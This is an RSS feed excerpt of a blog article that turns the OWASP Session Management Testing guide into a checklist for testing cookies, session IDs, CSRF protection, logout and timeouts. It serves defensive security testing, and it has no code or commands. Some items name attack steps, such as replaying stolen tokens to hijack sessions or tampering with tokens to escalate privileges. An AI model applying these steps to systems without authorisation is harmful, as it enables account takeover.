            <content:encoded><![CDATA[<p>In this article, I’ve turned the OWASP Session Management Testing guide into a simple and practical checklist. You can use it during your security testing to make sure everything is working safely. Whether you’re a pentester, developer, or someone interested in web security. Use this checklist to check your web app’s session security and find problems before hackers do.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oeGIdSX13Qujk46d65GfcA.png" /></figure><p>⬜ Confirm session IDs never appear in URLs.<br>⬜ Test session cookie behavior across different browsers.<br>⬜ Verify session ID changes after login and logout.<br>⬜ Ensure session IDs are random and unique.<br>⬜ Check all cookies have Secure flag on HTTPS.<br>⬜ Verify cookies are not sent over HTTP.<br>⬜ Confirm critical cookies have HttpOnly flag.<br>⬜ Ensure cookies use SameSite=Strict or Lax.<br>⬜ Delete or modify cookies to test session handling.<br>⬜ Try to reuse unauthenticated session ID after login.<br>⬜ Confirm session ID changes after password or role change.<br>⬜ Attempt setting session cookie before login (fixation test).<br>⬜ Inspect session tokens for exposed info (usernames, IPs).<br>⬜ Decode session tokens for sensitive data leakage.<br>⬜ Modify session tokens to test for privilege escalation.<br>⬜ Look for predictable or time-based session ID patterns.<br>⬜ Verify critical actions require CSRF tokens.<br>⬜ Generate CSRF PoCs and test if actions execute without consent.<br>⬜ Confirm logout is protected from CSRF attacks.<br>⬜ Check server validates Origin/Referer headers.<br>⬜ Logout and verify session is fully invalidated server-side.<br>⬜ Try accessing protected pages after logout should fail.<br>⬜ Test SSO logout logs out from all connected apps.<br>⬜ Ensure no re-login without credentials after logout.<br>⬜ Verify session timeout triggers automatic logout.<br>⬜ Test session unusable after timeout expires.<br>⬜ Confirm timeout enforced on server-side, not just client.<br>⬜ Skip steps in multi-phase flows and test session trust.<br>⬜ Manipulate session variables to access unauthorized data.<br>⬜ Try replaying stolen session tokens to hijack session.<br>⬜ Confirm tokens invalidate on logout or password change.<br>⬜ Verify session binding to IP/User-Agent to prevent hijacking.</p><p>Good session management is key to keeping web applications secure. Even small mistakes in how sessions are handled can lead to serious attacks like session hijacking or CSRF. By using this checklist, you can test important areas like session tokens, cookies, logouts, and timeouts in a clear and structured way. Keep practicing, stay curious, and always test before attackers do.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aff4a580733c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>